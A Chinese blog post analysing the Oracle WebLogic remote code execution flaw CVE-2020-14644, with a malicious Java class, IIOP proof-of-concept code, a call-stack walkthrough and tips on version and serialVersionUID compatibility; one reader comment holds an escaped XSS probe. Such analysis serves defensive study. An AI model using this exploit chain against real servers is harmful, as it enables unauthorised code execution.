Weblogic 远程命令执行漏洞(CVE-2020-14644)分析

Sp4rr0vv  50天前

作者:白帽汇安全研究院@Sp4rr0vv

核对:白帽汇安全研究院@r4v3zn

概述

2020 年 7 月 15 日,Oracle 发布大量安全修复补丁,其中 CVE-2020-14644 漏洞被评分为 9.8 分,影响版本为 12.2.1.3.0、12.2.1.4.0, 14.1.1.0.0 。本文基于互联网公开的 POC 进行复现、分析,最终实现无任何限制的 defineClass + 实例化,进行实现 RCE。

前置知识

JDKClassLoader 类中有个方法是 defindClass ,可以根据类全限定名和类的字节数组,加载一个类到 jvm 中并返回对应的 Class 对象(随带一提,这种加载类的方式不会执行类初始化)。

image-20200805135249325

所以只要参数 name(类名)和 b (类文件的二进制数据)可控,理论上我们可以加载任何类,需要注意的一点是,这个类名 name 一定要和这个类字节数组 b 中对于的类名一致才行,不然就是一个 NoClassDefFoundError

image-20200805143407083

image-20200805143146631

复现

环境

  • Weblogic 12.2.1.4.0
  • jdk 1.8.0_112
  • Windows 10

首先准备一个带包名的恶意类,在构造函数中写入恶意代码

package com;

import java.io.IOException;

public class EvilObj {

    public EvilObj() {
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException var1) {
            var1.printStackTrace();
        }
    }
}

POC

ClassIdentity classIdentity = new ClassIdentity( EvilObj.class);
ClassPool cp = ClassPool.getDefault();
CtClass ctClass = cp.get(EvilObj.class.getName());
ctClass.replaceClassName(EvilObj.class.getName(),  EvilObj.class.getName() + "$" + classIdentity.getVersion());
RemoteConstructor constructor = new RemoteConstructor(
        new ClassDefinition(classIdentity, ctClass.toBytecode()),
        new ob ject[] {}
);
// 发送 IIOP 协议数据包
Context context = getContext("iiop://ip:port");
context.rebind("hello",constructor);

复现结果:

image-20200806093842214

以下为简化版调用栈:

exec:347, Runtime (java.lang)
<init>:14, SimpleMapEntry$7E80A4E3098E7FB7B109472C77D1D573 (com.tangosol.util)
newInvokeSpecial__L:-1, 1565249093 (java.lang.invoke.LambdaForm$DMH)
reinvoke:-1, 1641862114 (java.lang.invoke.LambdaForm$BMH)
invoker:-1, 222055923 (java.lang.invoke.LambdaForm$MH)
invokeExact_MT:-1, 1593074896 (java.lang.invoke.LambdaForm$MH)
invokeWithArguments:627, MethodHandle (java.lang.invoke)
createInstance:149, ClassDefinition (com.tangosol.internal.util.invoke)
realize:142, RemotableSupport (com.tangosol.internal.util.invoke)
newInstance:122, RemoteConstructor (com.tangosol.internal.util.invoke)
readResolve:233, RemoteConstructor (com.tangosol.internal.util.invoke)

漏洞分析

先看下几个关键的类的字段和构造函数,都是 coherence.jar 中的类

com.tangosol.internal.util.invoke.RemoteConstructor

image-20200805132105015.png

com.tangosol.internal.util.invoke.ClassDefinition

image-20200805132609441

com.tangosol.internal.util.invoke.ClassIdentity

image-20200805133348073

com.tangosol.internal.util.invoke.RemotableSupport

image-20200805152651959

com.tangosol.internal.util.invoke.ClassIdentity 的构造构造方法可以将 Class 作为参数,然后进行提取该类的一些特征信息,例如 packageba seNameVersion等信息,其中 Version 表示该类文件的内容 MD5 值,然后转换为 Hex

image-20200805145134354

image-20200805151149145

image-20200805151308964

所以 getName() = package + "/" + ba seName + "$" + version

image-20200805151648869

com.tangosol.internal.util.invoke.ClassDefinitionclassnamebyte[] 都有了,而 RemoteConstructor 持有 ClassDefinition 类型的引用,RemotableSupport 继承了 ClassLoader,具有加载类的功能。

最后看下关键的几个调用栈:

image-20200805152228695

image-20200805152202225

重点在 RemotableSupport.realize 中进行处理,其中首先流入 this.registerIfAbsent(constructor.getDefinition()) 中。

image-20200806094158466

RemotableSupport 中定义了 Map 类型 f_mapDefinitions 的变量进行充当缓存作用。

image-20200805165348620

首先是每次调用 realize 时会先在缓存中查找 ClassDefinition

image-20200805180021923

ClassIdentity 重写了equals方法,所以如果恶意类的内容没有什么变化的话,会将 Class 对应的 ClassIdentity 在第一次使用时的 id 作为 key,内容作为 value 存入缓存,之后每次都会返回第一次加的 ClassnameClassDefinition

image-20200805205219348

执行 this.registerIfAbsent(constructor.getDefinition()) 之后通过 ClassDefinition.getRemotableClass 进行获取 m_clz,第一次流入时内容值为 null (其中不仅是因为在 ClassDefinition 的构造函数中没有为该字段赋值的语句,更重要的是这个字段是 transient 修饰的),然后通过调用 defineClass 进行加载恶意类字节码。

image-20200805212209399

image-20200805212403828

image-20200805212723073

由于 RemotableSupport 继承了 ClassLoader,所以它的 defineClass 就是调用了父类的 defineClass 来加载类,但是有意思的是他所生成类名的逻辑,是前面所说的 ClassIdentity.getname() = package + "/" + ba seName + "$" + version,所以 ClassIdentity 中的字节数组 byte[] 中的对应的 Class 的类名必须为 package + "." + ba seName + "$" + version,否则可能会面临加载失败的问题。

image-20200805213145914

还有一个有意思的地方是 RemotableSupport.defineClass 这个函数所返回的是一个泛型

image-20200805221023126

还刚好是 ClassDefinition.setRemotableClass 的参数类型一致

image-20200805221251914

这意味着,这个ClassDefinition中的类字节数组byte[]内容不需要进行继承Remotable

image-20200806092748575

而且显而易见,ClassDefinition.setRemotableClass 的作用就是为ClassDefinition 的两个 transient 字段赋值

image-20200806094514613

这要求ClassDefinition所代表的类的构造函数必须只有一个,参数有无,没有任何影响,m_mhCtor字段的类型为MethodHandle,是 JDK7 的新特性,是另一套反射 api 中的类,在 ClassDefinition 这个类中对应于构造函数。

当流入 ClassDefinition.createInstance 后会进行调用构造方法将 aoArgs 作为参数进行实例化对象,由于我们的恶意代码是写在构造方法中的,所以当实例化之后会进行执行恶意代码。

image-20200806094529126

实际利用

综述,整体的思路为,构造一个带有包名类,恶意代码写进构造函数中就行,然后通过 javassist 进行动态修改类名,将原类名追加 $version 值,在实战利用中可能会出现以下问题。

为啥要带包名?

因为ClassIdentity的构造函数中有下面这个链式调用,不带包名getPackage()会返回null,再往下调用就会空指针异常

image-20200806094554771

Class 版本问题

在利用的过程中常常会出现,由于 JDK 版本问题无法正常利用问题。

  1. 可以通过在编译获取恶意类时加入 -source 1.6 -target 1.6 参数指定编译版本。
  2. 也可通过设置当前运行 jdk 版本调整为最低版本进行使用。

序列化 ID 问题

由于 Weblogic 版本的变化,coherence.jar 文件中的 serialVersionUID 可能会出现不一致的问题,通过分析测试得出以下结论 12.2.1.3.012.2.1.4.014.1.1.0.0serialVersionUID 不同,以下为详细测试的结果:

coherence.jarweblogic 版本是否成功
12.2.1.3.012.2.1.3.0成功
12.2.1.3.012.2.1.4.0失败
12.2.1.3.014.1.1.0.0失败
12.2.1.4.012.2.1.3.0失败
12.2.1.4.012.2.1.4.0成功
12.2.1.4.014.1.1.0.0成功
14.1.1.0.012.2.1.3.0失败
14.1.1.0.012.2.1.4.0成功
14.1.1.0.014.1.1.0.0成功

该问题可通过 URLClassLoader 进行动态加载处理以下为部分核心代码(摘自 weblogic-fr amework):

image-20200806133258369

image-20200806133919212

参考

最新评论

xiannv  :  作者**哦,好想嫁给他
50天前 回复
xiannv  :  作者好厉害哦,好想嫁给他哦~~~
50天前 回复
仙女  :  作者太强了,我也好想嫁给他
50天前 回复
仙女1号  :  作者太强了,我也好想嫁给他
50天前 回复
仙女2号  :  作者太强了,我也好想嫁给他
50天前 回复
仙女3号  :  作者太强了,我也好想嫁给他
50天前 回复
仙女4号  :  作者太强了,我也好想嫁给他
50天前 回复
仙女5号  :  作者太强了,我也好想嫁给他
50天前 回复
仙女6号  :  作者太强了,我也好想嫁给他
50天前 回复
仙女7号  :  作者太强了,我也好想嫁给他
50天前 回复
pspong  :  作者牛**,好想嫁给他。
50天前 回复
1wuli1  :  作者强的一批,好想嫁给他。
50天前 回复
仙女(巴西分女)  :  作者666,我也好想嫁给他
50天前 回复
仙男1号  :  作者好厉害哦,好像嫁给他~~~
50天前 回复
杰哥小号  :  作者太强了,我也好想**他
50天前 回复
仙女100号  :  作者太强了,我也好想嫁给他
50天前 回复
作者  :  一般般
50天前 回复
12  :  &lt;sc **pt&gt;alert(/x/)&lt;/sc **pt&gt;
50天前 回复
老仙女  :  作者太强了,好想艹他
50天前 回复
仙女(巴西分女)  :  这个过分了铁子
50天前 回复
nnn  :  回复 哈哈哈
49天前 回复
BaCde  :  我也想……
50天前 回复
r4v3zn  :  娶我娶我
50天前 回复
昵称
邮箱
提交评论